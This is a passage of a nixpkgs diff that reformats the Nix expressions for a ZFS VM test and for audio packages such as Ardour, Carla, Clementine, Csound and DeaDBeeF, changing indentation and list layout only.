-              "parted --script /dev/vdb -- mkpart primary 1024M -1s",
-              "parted --script /dev/vdc mklabel msdos",
-              "parted --script /dev/vdc -- mkpart primary 1024M -1s",
-          )
+      testScript = ''
+        machine.wait_for_unit("multi-user.target")
+        machine.succeed(
+            "zpool status",
+            "parted --script /dev/vdb mklabel msdos",
+            "parted --script /dev/vdb -- mkpart primary 1024M -1s",
+            "parted --script /dev/vdc mklabel msdos",
+            "parted --script /dev/vdc -- mkpart primary 1024M -1s",
+        )
 
-          with subtest("sharesmb works"):
-              machine.succeed(
-                  "zpool create rpool /dev/vdb1",
-                  "zfs create -o mountpoint=legacy rpool/root",
-                  # shared datasets cannot have legacy mountpoint
-                  "zfs create rpool/shared_smb",
-                  "bootctl set-default nixos-generation-1-specialisation-samba.conf",
-                  "sync",
-              )
-              machine.crash()
-              machine.wait_for_unit("multi-user.target")
-              machine.succeed("zfs set sharesmb=on rpool/shared_smb")
-              machine.succeed(
-                  "smbclient -gNL localhost | grep rpool_shared_smb",
-                  "umount /tmp/mnt",
-                  "zpool destroy rpool",
-              )
+        with subtest("sharesmb works"):
+            machine.succeed(
+                "zpool create rpool /dev/vdb1",
+                "zfs create -o mountpoint=legacy rpool/root",
+                # shared datasets cannot have legacy mountpoint
+                "zfs create rpool/shared_smb",
+                "bootctl set-default nixos-generation-1-specialisation-samba.conf",
+                "sync",
+            )
+            machine.crash()
+            machine.wait_for_unit("multi-user.target")
+            machine.succeed("zfs set sharesmb=on rpool/shared_smb")
+            machine.succeed(
+                "smbclient -gNL localhost | grep rpool_shared_smb",
+                "umount /tmp/mnt",
+                "zpool destroy rpool",
+            )
 
-          with subtest("encryption works"):
-              machine.succeed(
-                  'echo password | zpool create -O mountpoint=legacy '
-                  + "-O encryption=aes-256-gcm -O keyformat=passphrase automatic /dev/vdb1",
-                  "zpool create -O mountpoint=legacy manual /dev/vdc1",
-                  "echo otherpass | zfs create "
-                  + "-o encryption=aes-256-gcm -o keyformat=passphrase manual/encrypted",
-                  "zfs create -o encryption=aes-256-gcm -o keyformat=passphrase "
-                  + "-o keylocation=http://localhost/zfskey manual/httpkey",
-                  "bootctl set-default nixos-generation-1-specialisation-encryption.conf",
-                  "sync",
-                  "zpool export automatic",
-                  "zpool export manual",
-              )
-              machine.crash()
-              machine.start()
-              machine.wait_for_console_text("Starting password query on")
-              machine.send_console("password\n")
-              machine.wait_for_unit("multi-user.target")
-              machine.succeed(
-                  "zfs get -Ho value keystatus manual/encrypted | grep -Fx unavailable",
-                  "echo otherpass | zfs load-key manual/encrypted",
-                  "systemctl start manual-encrypted.mount",
-                  "zfs load-key manual/httpkey",
-                  "systemctl start manual-httpkey.mount",
-                  "umount /automatic /manual/encrypted /manual/httpkey /manual",
-                  "zpool destroy automatic",
-                  "zpool destroy manual",
-              )
+        with subtest("encryption works"):
+            machine.succeed(
+                'echo password | zpool create -O mountpoint=legacy '
+                + "-O encryption=aes-256-gcm -O keyformat=passphrase automatic /dev/vdb1",
+                "zpool create -O mountpoint=legacy manual /dev/vdc1",
+                "echo otherpass | zfs create "
+                + "-o encryption=aes-256-gcm -o keyformat=passphrase manual/encrypted",
+                "zfs create -o encryption=aes-256-gcm -o keyformat=passphrase "
+                + "-o keylocation=http://localhost/zfskey manual/httpkey",
+                "bootctl set-default nixos-generation-1-specialisation-encryption.conf",
+                "sync",
+                "zpool export automatic",
+                "zpool export manual",
+            )
+            machine.crash()
+            machine.start()
+            machine.wait_for_console_text("Starting password query on")
+            machine.send_console("password\n")
+            machine.wait_for_unit("multi-user.target")
+            machine.succeed(
+                "zfs get -Ho value keystatus manual/encrypted | grep -Fx unavailable",
+                "echo otherpass | zfs load-key manual/encrypted",
+                "systemctl start manual-encrypted.mount",
+                "zfs load-key manual/httpkey",
+                "systemctl start manual-httpkey.mount",
+                "umount /automatic /manual/encrypted /manual/httpkey /manual",
+                "zpool destroy automatic",
+                "zpool destroy manual",
+            )
 
-          with subtest("boot.zfs.forceImportAll works"):
-              machine.succeed(
-                  "rm /etc/hostid",
-                  "zgenhostid deadcafe",
-                  "zpool create forcepool /dev/vdb1 -O mountpoint=legacy",
-                  "bootctl set-default nixos-generation-1-specialisation-forcepool.conf",
-                  "rm /etc/hostid",
-                  "sync",
-              )
-              machine.crash()
-              machine.wait_for_unit("multi-user.target")
-              machine.fail("zpool import forcepool")
-              machine.succeed(
-                  "systemctl start forcepool.mount",
-                  "mount | grep forcepool",
-              )
-        ''
-        + extraTest;
+        with subtest("boot.zfs.forceImportAll works"):
+            machine.succeed(
+                "rm /etc/hostid",
+                "zgenhostid deadcafe",
+                "zpool create forcepool /dev/vdb1 -O mountpoint=legacy",
+                "bootctl set-default nixos-generation-1-specialisation-forcepool.conf",
+                "rm /etc/hostid",
+                "sync",
+            )
+            machine.crash()
+            machine.wait_for_unit("multi-user.target")
+            machine.fail("zpool import forcepool")
+            machine.succeed(
+                "systemctl start forcepool.mount",
+                "mount | grep forcepool",
+            )
+      ''
+      + extraTest;
 
     };
 
diff --git a/pkgs/applications/audio/ardour/7.nix b/pkgs/applications/audio/ardour/7.nix
index 45c6b132d59b..31f67dc36ce0 100644
--- a/pkgs/applications/audio/ardour/7.nix
+++ b/pkgs/applications/audio/ardour/7.nix
@@ -123,56 +123,55 @@ stdenv.mkDerivation rec {
     wafHook
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      aubio
-      boost186
-      cairomm
-      cppunit
-      curl
-      dbus
-      ffmpeg
-      fftw
-      fftwSinglePrec
-      flac
-      glibmm
-      gtkmm2
-      itstool
-      libarchive
-      libjack2
-      liblo
-      libogg
-      libpulseaudio
-      librdf_rasqal
-      libsamplerate
-      libsigcxx
-      libsndfile
-      libusb1
-      libuv
-      libwebsockets
-      libxml2
-      libxslt
-      lilv
-      lrdf
-      lv2
-      pango
-      perl
-      python3
-      readline
-      rubberband
-      serd
-      sord
-      soundtouch
-      sratom
-      suil
-      taglib_1
-      vamp-plugin-sdk
-    ]
-    ++ lib.optionals videoSupport [
-      harvid
-      xjadeo
-    ];
+  buildInputs = [
+    alsa-lib
+    aubio
+    boost186
+    cairomm
+    cppunit
+    curl
+    dbus
+    ffmpeg
+    fftw
+    fftwSinglePrec
+    flac
+    glibmm
+    gtkmm2
+    itstool
+    libarchive
+    libjack2
+    liblo
+    libogg
+    libpulseaudio
+    librdf_rasqal
+    libsamplerate
+    libsigcxx
+    libsndfile
+    libusb1
+    libuv
+    libwebsockets
+    libxml2
+    libxslt
+    lilv
+    lrdf
+    lv2
+    pango
+    perl
+    python3
+    readline
+    rubberband
+    serd
+    sord
+    soundtouch
+    sratom
+    suil
+    taglib_1
+    vamp-plugin-sdk
+  ]
+  ++ lib.optionals videoSupport [
+    harvid
+    xjadeo
+  ];
 
   wafConfigureFlags = [
     "--cxx11"
@@ -187,32 +186,31 @@ stdenv.mkDerivation rec {
   # removed because it fixes https://tracker.ardour.org/view.php?id=8161 and https://tracker.ardour.org/view.php?id=8437
   # "--use-external-libs"
 
-  postInstall =
-    ''
-      # wscript does not install these for some reason
-      install -vDm 644 "build/gtk2_ardour/ardour.xml" \
-        -t "$out/share/mime/packages"
-      install -vDm 644 "build/gtk2_ardour/ardour${lib.versions.major version}.desktop" \
-        -t "$out/share/applications"
-      for size in 16 22 32 48 256 512; do
-        install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
-          "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${lib.versions.major version}.png"
-      done
-      install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
+  postInstall = ''
+    # wscript does not install these for some reason
+    install -vDm 644 "build/gtk2_ardour/ardour.xml" \
+      -t "$out/share/mime/packages"
+    install -vDm 644 "build/gtk2_ardour/ardour${lib.versions.major version}.desktop" \
+      -t "$out/share/applications"
+    for size in 16 22 32 48 256 512; do
+      install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
+        "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${lib.versions.major version}.png"
+    done
+    install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
 
-      # install additional bundled beats, chords and progressions
-      cp -rp "${bundledContent}"/* "$out/share/ardour${lib.versions.major version}/media"
-    ''
-    + lib.optionalString videoSupport ''
-      # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
-      wrapProgram "$out/bin/ardour${lib.versions.major version}" \
-        --prefix PATH : "${
-          lib.makeBinPath [
-            harvid
-            xjadeo
-          ]
-        }"
-    '';
+    # install additional bundled beats, chords and progressions
+    cp -rp "${bundledContent}"/* "$out/share/ardour${lib.versions.major version}/media"
+  ''
+  + lib.optionalString videoSupport ''
+    # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
+    wrapProgram "$out/bin/ardour${lib.versions.major version}" \
+      --prefix PATH : "${
+        lib.makeBinPath [
+          harvid
+          xjadeo
+        ]
+      }"
+  '';
 
   LINKFLAGS = "-lpthread";
 
diff --git a/pkgs/applications/audio/ardour/default.nix b/pkgs/applications/audio/ardour/default.nix
index 688e9e92599e..5ec4504270ea 100644
--- a/pkgs/applications/audio/ardour/default.nix
+++ b/pkgs/applications/audio/ardour/default.nix
@@ -114,61 +114,60 @@ stdenv.mkDerivation (
       wafHook
     ];
 
-    buildInputs =
-      [
-        alsa-lib
-        aubio
-        boost
-        cairomm
-        cppunit
-        curl
-        dbus
-        ffmpeg
-        fftw
-        fftwSinglePrec
-        flac
-        fluidsynth
-        glibmm
-        gtkmm2
-        hidapi
-        itstool
-        kissfft
-        libarchive
-        libjack2
-        liblo
-        libltc
-        libogg
-        libpulseaudio
-        librdf_rasqal
-        libsamplerate
-        libsigcxx
-        libsndfile
-        libusb1
-        libuv
-        libwebsockets
-        libxml2
-        libxslt
-        lilv
-        lrdf
-        lv2
-        pango
-        perl
-        python3
-        qm-dsp
-        readline
-        rubberband
-        serd
-        sord
-        soundtouch
-        sratom
-        suil
-        taglib
-        vamp-plugin-sdk
-      ]
-      ++ lib.optionals videoSupport [
-        harvid
-        xjadeo
-      ];
+    buildInputs = [
+      alsa-lib
+      aubio
+      boost
+      cairomm
+      cppunit
+      curl
+      dbus
+      ffmpeg
+      fftw
+      fftwSinglePrec
+      flac
+      fluidsynth
+      glibmm
+      gtkmm2
+      hidapi
+      itstool
+      kissfft
+      libarchive
+      libjack2
+      liblo
+      libltc
+      libogg
+      libpulseaudio
+      librdf_rasqal
+      libsamplerate
+      libsigcxx
+      libsndfile
+      libusb1
+      libuv
+      libwebsockets
+      libxml2
+      libxslt
+      lilv
+      lrdf
+      lv2
+      pango
+      perl
+      python3
+      qm-dsp
+      readline
+      rubberband
+      serd
+      sord
+      soundtouch
+      sratom
+      suil
+      taglib
+      vamp-plugin-sdk
+    ]
+    ++ lib.optionals videoSupport [
+      harvid
+      xjadeo
+    ];
 
     wafConfigureFlags = [
       "--cxx17"
@@ -184,34 +183,34 @@ stdenv.mkDerivation (
       # and
       # https://discourse.ardour.org/t/ardour-8-2-released/109615/8
       # "--use-external-libs"
-    ] ++ lib.optional optimize "--optimize";
+    ]
+    ++ lib.optional optimize "--optimize";
 
-    postInstall =
-      ''
-        # wscript does not install these for some reason
-        install -vDm 644 "build/gtk2_ardour/ardour.xml" \
-          -t "$out/share/mime/packages"
-        install -vDm 644 "build/gtk2_ardour/ardour${majorVersion}.desktop" \
-          -t "$out/share/applications"
-        for size in 16 22 32 48 256 512; do
-          install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
-            "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${majorVersion}.png"
-        done
-        install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
+    postInstall = ''
+      # wscript does not install these for some reason
+      install -vDm 644 "build/gtk2_ardour/ardour.xml" \
+        -t "$out/share/mime/packages"
+      install -vDm 644 "build/gtk2_ardour/ardour${majorVersion}.desktop" \
+        -t "$out/share/applications"
+      for size in 16 22 32 48 256 512; do
+        install -vDm 644 "gtk2_ardour/resources/Ardour-icon_''${size}px.png" \
+          "$out/share/icons/hicolor/''${size}x''${size}/apps/ardour${majorVersion}.png"
+      done
+      install -vDm 644 "ardour.1"* -t "$out/share/man/man1"
 
-        # install additional bundled beats, chords and progressions
-        cp -rp "${finalAttrs.bundledContent}"/* "$out/share/ardour${majorVersion}/media"
-      ''
-      + lib.optionalString videoSupport ''
-        # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
-        wrapProgram "$out/bin/ardour${majorVersion}" \
-          --prefix PATH : "${
-            lib.makeBinPath [
-              harvid
-              xjadeo
-            ]
-          }"
-      '';
+      # install additional bundled beats, chords and progressions
+      cp -rp "${finalAttrs.bundledContent}"/* "$out/share/ardour${majorVersion}/media"
+    ''
+    + lib.optionalString videoSupport ''
+      # `harvid` and `xjadeo` must be accessible in `PATH` for video to work.
+      wrapProgram "$out/bin/ardour${majorVersion}" \
+        --prefix PATH : "${
+          lib.makeBinPath [
+            harvid
+            xjadeo
+          ]
+        }"
+    '';
 
     LINKFLAGS = "-lpthread";
 
diff --git a/pkgs/applications/audio/bucklespring/default.nix b/pkgs/applications/audio/bucklespring/default.nix
index a126c227f346..d853c16748b4 100644
--- a/pkgs/applications/audio/bucklespring/default.nix
+++ b/pkgs/applications/audio/bucklespring/default.nix
@@ -34,16 +34,15 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      openal
-      alure
-    ]
-    ++ optionals (legacy) [
-      libXtst
-      libX11
-    ]
-    ++ optionals (!legacy) [ libinput ];
+  buildInputs = [
+    openal
+    alure
+  ]
+  ++ optionals (legacy) [
+    libXtst
+    libX11
+  ]
+  ++ optionals (!legacy) [ libinput ];
 
   makeFlags = optionals (!legacy) [ "libinput=1" ];
 
diff --git a/pkgs/applications/audio/carla/default.nix b/pkgs/applications/audio/carla/default.nix
index eec155591d35..2bd1c7308dfa 100644
--- a/pkgs/applications/audio/carla/default.nix
+++ b/pkgs/applications/audio/carla/default.nix
@@ -61,19 +61,18 @@ stdenv.mkDerivation (finalAttrs: {
     ]
     ++ lib.optional withFrontend pyqt5;
 
-  buildInputs =
-    [
-      file
-      liblo
-      alsa-lib
-      fluidsynth
-      jack2
-      libpulseaudio
-      libsndfile
-    ]
-    ++ lib.optional withQt qtbase
-    ++ lib.optional withGtk2 gtk2
-    ++ lib.optional withGtk3 gtk3;
+  buildInputs = [
+    file
+    liblo
+    alsa-lib
+    fluidsynth
+    jack2
+    libpulseaudio
+    libsndfile
+  ]
+  ++ lib.optional withQt qtbase
+  ++ lib.optional withGtk2 gtk2
+  ++ lib.optional withGtk3 gtk3;
 
   propagatedBuildInputs = finalAttrs.pythonPath;
 
@@ -81,19 +80,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   installFlags = [ "PREFIX=$(out)" ];
 
-  postPatch =
-    ''
-      # --with-appname="$0" is evaluated with $0=.carla-wrapped instead of carla. Fix that.
-      for file in $(grep -rl -- '--with-appname="$0"'); do
-          filename="$(basename -- "$file")"
-          substituteInPlace "$file" --replace '--with-appname="$0"' "--with-appname=\"$filename\""
-      done
-    ''
-    + lib.optionalString withGtk2 ''
-      # Will try to dlopen() libgtk-x11-2.0 at runtime when using the bridge.
-      substituteInPlace source/bridges-ui/Makefile \
-          --replace '$(CXX) $(OBJS_GTK2)' '$(CXX) $(OBJS_GTK2) -lgtk-x11-2.0'
-    '';
+  postPatch = ''
+    # --with-appname="$0" is evaluated with $0=.carla-wrapped instead of carla. Fix that.
+    for file in $(grep -rl -- '--with-appname="$0"'); do
+        filename="$(basename -- "$file")"
+        substituteInPlace "$file" --replace '--with-appname="$0"' "--with-appname=\"$filename\""
+    done
+  ''
+  + lib.optionalString withGtk2 ''
+    # Will try to dlopen() libgtk-x11-2.0 at runtime when using the bridge.
+    substituteInPlace source/bridges-ui/Makefile \
+        --replace '$(CXX) $(OBJS_GTK2)' '$(CXX) $(OBJS_GTK2) -lgtk-x11-2.0'
+  '';
 
   dontWrapQtApps = true;
   postFixup = ''
diff --git a/pkgs/applications/audio/chuck/default.nix b/pkgs/applications/audio/chuck/default.nix
index aa640b573ddd..0c9f2f1932f1 100644
--- a/pkgs/applications/audio/chuck/default.nix
+++ b/pkgs/applications/audio/chuck/default.nix
@@ -20,16 +20,15 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-hIwsC9rYgXWSTFqUufKGqoT0Gnsf4nR4KQ0iSVbj8xg=";
   };
 
-  nativeBuildInputs =
-    [
-      flex
-      bison
-      which
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      DarwinTools
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    flex
+    bison
+    which
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    DarwinTools
+    xcbuild
+  ];
 
   buildInputs = [ libsndfile ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) alsa-lib;
 
diff --git a/pkgs/applications/audio/clementine/default.nix b/pkgs/applications/audio/clementine/default.nix
index c1f74200b426..bd04b9d214f6 100644
--- a/pkgs/applications/audio/clementine/default.nix
+++ b/pkgs/applications/audio/clementine/default.nix
@@ -70,41 +70,40 @@ stdenv.mkDerivation (finalAttrs: {
     orc
   ];
 
-  buildInputs =
-    [
-      boost
-      chromaprint
-      fftw
-      gettext
-      glew
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      gst_all_1.gstreamer
-      gvfs
-      liblastfm
-      libpulseaudio
-      pcre
-      projectm_3
-      protobuf
-      qca-qt5
-      qjson
-      qtbase
-      qtx11extras
-      qttools
-      sqlite
-      taglib_1
-      alsa-lib
-    ]
-    # gst_plugins needed for setup-hooks
-    ++ gst_plugins
-    ++ lib.optionals (withIpod) [
-      libgpod
-      libplist
-      usbmuxd
-    ]
-    ++ lib.optionals (withMTP) [ libmtp ]
-    ++ lib.optionals (withCD) [ libcdio ]
-    ++ lib.optionals (withCloud) [ sparsehash ];
+  buildInputs = [
+    boost
+    chromaprint
+    fftw
+    gettext
+    glew
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gstreamer
+    gvfs
+    liblastfm
+    libpulseaudio
+    pcre
+    projectm_3
+    protobuf
+    qca-qt5
+    qjson
+    qtbase
+    qtx11extras
+    qttools
+    sqlite
+    taglib_1
+    alsa-lib
+  ]
+  # gst_plugins needed for setup-hooks
+  ++ gst_plugins
+  ++ lib.optionals (withIpod) [
+    libgpod
+    libplist
+    usbmuxd
+  ]
+  ++ lib.optionals (withMTP) [ libmtp ]
+  ++ lib.optionals (withCD) [ libcdio ]
+  ++ lib.optionals (withCloud) [ sparsehash ];
 
   postPatch = ''
     sed -i src/CMakeLists.txt \
diff --git a/pkgs/applications/audio/cmus/default.nix b/pkgs/applications/audio/cmus/default.nix
index 167330ef6c6d..2e6c5e0d92e0 100644
--- a/pkgs/applications/audio/cmus/default.nix
+++ b/pkgs/applications/audio/cmus/default.nix
@@ -145,19 +145,21 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [ ncurses ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.flatten (lib.concatMap (a: a.deps) opts);
+  buildInputs = [
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.flatten (lib.concatMap (a: a.deps) opts);
 
   prefixKey = "prefix=";
 
   configureFlags = [
     "CONFIG_WAV=y"
     "HOSTCC=${stdenv.cc.targetPrefix}cc"
-  ] ++ lib.concatMap (a: a.flags) opts;
+  ]
+  ++ lib.concatMap (a: a.flags) opts;
 
   makeFlags = [ "LD=$(CC)" ];
 
diff --git a/pkgs/applications/audio/csound/default.nix b/pkgs/applications/audio/csound/default.nix
index dc8989ef357c..965ff2310bad 100644
--- a/pkgs/applications/audio/csound/default.nix
+++ b/pkgs/applications/audio/csound/default.nix
@@ -36,13 +36,14 @@ stdenv.mkDerivation {
     sha256 = "sha256-NDYltwmjBsX1DWCjy8/4cXMSl3/mK+HaQHSKUmRR9TI=";
   };
 
-  cmakeFlags =
-    [ "-DBUILD_CSOUND_AC=0" ] # fails to find Score.hpp
-    ++ lib.optional stdenv.hostPlatform.isDarwin "-DCS_FRAMEWORK_DEST=${placeholder "out"}/lib"
-    # Ignore gettext in CMAKE_PREFIX_PATH on cross to prevent find_program picking up the wrong gettext
-    ++ lib.optional (
-      stdenv.hostPlatform != stdenv.buildPlatform
-    ) "-DCMAKE_IGNORE_PATH=${lib.getBin gettext}/bin";
+  cmakeFlags = [
+    "-DBUILD_CSOUND_AC=0"
+  ] # fails to find Score.hpp
+  ++ lib.optional stdenv.hostPlatform.isDarwin "-DCS_FRAMEWORK_DEST=${placeholder "out"}/lib"
+  # Ignore gettext in CMAKE_PREFIX_PATH on cross to prevent find_program picking up the wrong gettext
+  ++ lib.optional (
+    stdenv.hostPlatform != stdenv.buildPlatform
+  ) "-DCMAKE_IGNORE_PATH=${lib.getBin gettext}/bin";
 
   nativeBuildInputs = [
     cmake
@@ -50,29 +51,28 @@ stdenv.mkDerivation {
     bison
     gettext
   ];
-  buildInputs =
-    [
-      libsndfile
-      libsamplerate
-      boost
+  buildInputs = [
+    libsndfile
+    libsamplerate
+    boost
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    portaudio
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux (
+    builtins.filter (optional: optional != null) [
+      alsa-lib
+      libpulseaudio
+      libjack2
+      liblo
+      ladspa-sdk
+      fluidsynth
+      eigen
+      curl
+      tcltk
+      fltk
     ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      portaudio
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux (
-      builtins.filter (optional: optional != null) [
-        alsa-lib
-        libpulseaudio
-        libjack2
-        liblo
-        ladspa-sdk
-        fluidsynth
-        eigen
-        curl
-        tcltk
-        fltk
-      ]
-    );
+  );
 
   postInstall = lib.optional stdenv.hostPlatform.isDarwin ''
     mkdir -p $out/Library/Frameworks
diff --git a/pkgs/applications/audio/deadbeef/default.nix b/pkgs/applications/audio/deadbeef/default.nix
index 222dfa3acb4e..7393b0c80e74 100644
--- a/pkgs/applications/audio/deadbeef/default.nix
+++ b/pkgs/applications/audio/deadbeef/default.nix
@@ -84,91 +84,89 @@ clangStdenv.mkDerivation {
     hash = "sha256-qa0ULmE15lV2vkyXPNW9kSISQZEANrjwJwykTiifk5Q=";
   };
 
-  buildInputs =
-    [
-      jansson
-      swift-corelibs-libdispatch
-    ]
-    ++ optionals gtk2Support [
-      gtk2
-    ]
-    ++ optionals gtk3Support [
-      gtk3
-      gsettings-desktop-schemas
-    ]
-    ++ optionals vorbisSupport [
-      libvorbis
-    ]
-    ++ optionals mp123Support [
-      libmad
-    ]
-    ++ optionals flacSupport [
-      flac
-    ]
-    ++ optionals wavSupport [
-      libsndfile
-    ]
-    ++ optionals cdaSupport [
-      libcdio
-      libcddb
-    ]
-    ++ optionals aacSupport [
-      faad2
-    ]
-    ++ optionals opusSupport [
-      opusfile
-    ]
-    ++ optionals zipSupport [
-      libzip
-    ]
-    ++ optionals ffmpegSupport [
-      ffmpeg
-    ]
-    ++ optionals apeSupport [
-      yasm
-    ]
-    ++ optionals artworkSupport [
-      imlib2
-    ]
-    ++ optionals hotkeysSupport [
-      libX11
-    ]
-    ++ optionals osdSupport [
-      dbus
-    ]
-    ++ optionals alsaSupport [
-      alsa-lib
-    ]
-    ++ optionals pulseSupport [
-      libpulseaudio
-    ]
-    ++ optionals pipewireSupport [
-      pipewire
-    ]
-    ++ optionals resamplerSupport [
-      libsamplerate
-    ]
-    ++ optionals overloadSupport [
-      zlib
-    ]
-    ++ optionals wavpackSupport [
-      wavpack
-    ]
-    ++ optionals remoteSupport [
-      curl
-    ];
+  buildInputs = [
+    jansson
+    swift-corelibs-libdispatch
+  ]
+  ++ optionals gtk2Support [
+    gtk2
+  ]
+  ++ optionals gtk3Support [
+    gtk3
+    gsettings-desktop-schemas
+  ]
+  ++ optionals vorbisSupport [
+    libvorbis
+  ]
+  ++ optionals mp123Support [
+    libmad
+  ]
+  ++ optionals flacSupport [
+    flac
+  ]
+  ++ optionals wavSupport [
+    libsndfile
+  ]
+  ++ optionals cdaSupport [
+    libcdio
+    libcddb
+  ]
+  ++ optionals aacSupport [
+    faad2
+  ]
+  ++ optionals opusSupport [
+    opusfile
+  ]
+  ++ optionals zipSupport [
+    libzip
+  ]
+  ++ optionals ffmpegSupport [
+    ffmpeg
+  ]
+  ++ optionals apeSupport [
+    yasm
+  ]
+  ++ optionals artworkSupport [
+    imlib2
+  ]
+  ++ optionals hotkeysSupport [
+    libX11
+  ]
+  ++ optionals osdSupport [
+    dbus
+  ]
+  ++ optionals alsaSupport [
+    alsa-lib
+  ]
+  ++ optionals pulseSupport [
+    libpulseaudio
+  ]
+  ++ optionals pipewireSupport [
+    pipewire
+  ]
+  ++ optionals resamplerSupport [
+    libsamplerate
+  ]
+  ++ optionals overloadSupport [
+    zlib
+  ]
+  ++ optionals wavpackSupport [
+    wavpack
+  ]
+  ++ optionals remoteSupport [
+    curl
+  ];
 
-  nativeBuildInputs =
-    [
-      autoconf
-      automake
-      intltool
-      libtool
-      pkg-config
-    ]
-    ++ optionals gtk3Support [
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    autoconf
+    automake
+    intltool
+    libtool
+    pkg-config
+  ]
+  ++ optionals gtk3Support [
+    wrapGAppsHook3
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/audio/easyaudiosync/default.nix b/pkgs/applications/audio/easyaudiosync/default.nix
index e7166cd9eb80..a6f744db1b65 100644
--- a/pkgs/applications/audio/easyaudiosync/default.nix
+++ b/pkgs/applications/audio/easyaudiosync/default.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
     wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux copyDesktopItems;
 
   buildInputs = [
     qtbase
@@ -45,27 +46,26 @@ stdenv.mkDerivation rec {
     taglib
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      mv "easyaudiosync.app" "Easy Audio Sync.app"
-      cp -r "Easy Audio Sync.app" $out/Applications
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm755 easyaudiosync $out/bin/easyaudiosync
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    mv "easyaudiosync.app" "Easy Audio Sync.app"
+    cp -r "Easy Audio Sync.app" $out/Applications
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm755 easyaudiosync $out/bin/easyaudiosync
 
-      for RES in 48 64 128 256; do
-        install -Dm755 "$src/assets/icons/easyaudiosync''${RES}.png" "$out/share/icons/hicolor/''${RES}x''${RES}/apps/easyaudiosync.png"
-      done
+    for RES in 48 64 128 256; do
+      install -Dm755 "$src/assets/icons/easyaudiosync''${RES}.png" "$out/share/icons/hicolor/''${RES}x''${RES}/apps/easyaudiosync.png"
+    done
 
-      install -Dm755 "$src/assets/icons/easyaudiosync.svg" "$out/share/icons/hicolor/scalable/apps/easyaudiosync.svg"
-    ''
-    + ''
-      runHook postInstall
-    '';
+    install -Dm755 "$src/assets/icons/easyaudiosync.svg" "$out/share/icons/hicolor/scalable/apps/easyaudiosync.svg"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/applications/audio/espeak-ng/default.nix b/pkgs/applications/audio/espeak-ng/default.nix
index 19b5dd800b5b..269a70c532c2 100644
--- a/pkgs/applications/audio/espeak-ng/default.nix
+++ b/pkgs/applications/audio/espeak-ng/default.nix
@@ -32,20 +32,19 @@ stdenv.mkDerivation rec {
     hash = "sha256-aAJ+k+kkOS6k835mEW7BvgAIYGhUHxf7Q4P5cKO8XTk=";
   };
 
-  patches =
-    [
-      # Fix build with Clang 16.
-      (fetchpatch {
-        url = "https://github.com/espeak-ng/espeak-ng/commit/497c6217d696c1190c3e8b992ff7b9110eb3bedd.patch";
-        hash = "sha256-KfzqnRyQfz6nuMKnsHoUzb9rn9h/Pg54mupW1Cr+Zx0=";
-      })
-    ]
-    ++ lib.optionals mbrolaSupport [
-      # Hardcode correct mbrola paths.
-      (replaceVars ./mbrola.patch {
-        inherit mbrola;
-      })
-    ];
+  patches = [
+    # Fix build with Clang 16.
+    (fetchpatch {
+      url = "https://github.com/espeak-ng/espeak-ng/commit/497c6217d696c1190c3e8b992ff7b9110eb3bedd.patch";
+      hash = "sha256-KfzqnRyQfz6nuMKnsHoUzb9rn9h/Pg54mupW1Cr+Zx0=";
+    })
+  ]
+  ++ lib.optionals mbrolaSupport [
+    # Hardcode correct mbrola paths.
+    (replaceVars ./mbrola.patch {
+      inherit mbrola;
+    })
+  ];
 
   nativeBuildInputs = [
     autoconf
diff --git a/pkgs/applications/audio/espeak/default.nix b/pkgs/applications/audio/espeak/default.nix
index d5a443095bf1..fa89133c76c1 100644
--- a/pkgs/applications/audio/espeak/default.nix
+++ b/pkgs/applications/audio/espeak/default.nix
@@ -22,14 +22,13 @@ stdenv.mkDerivation rec {
     ./gcc6.patch
   ];
 
-  prePatch =
-    ''
-      sed -e s,/bin/ln,ln,g -i src/Makefile
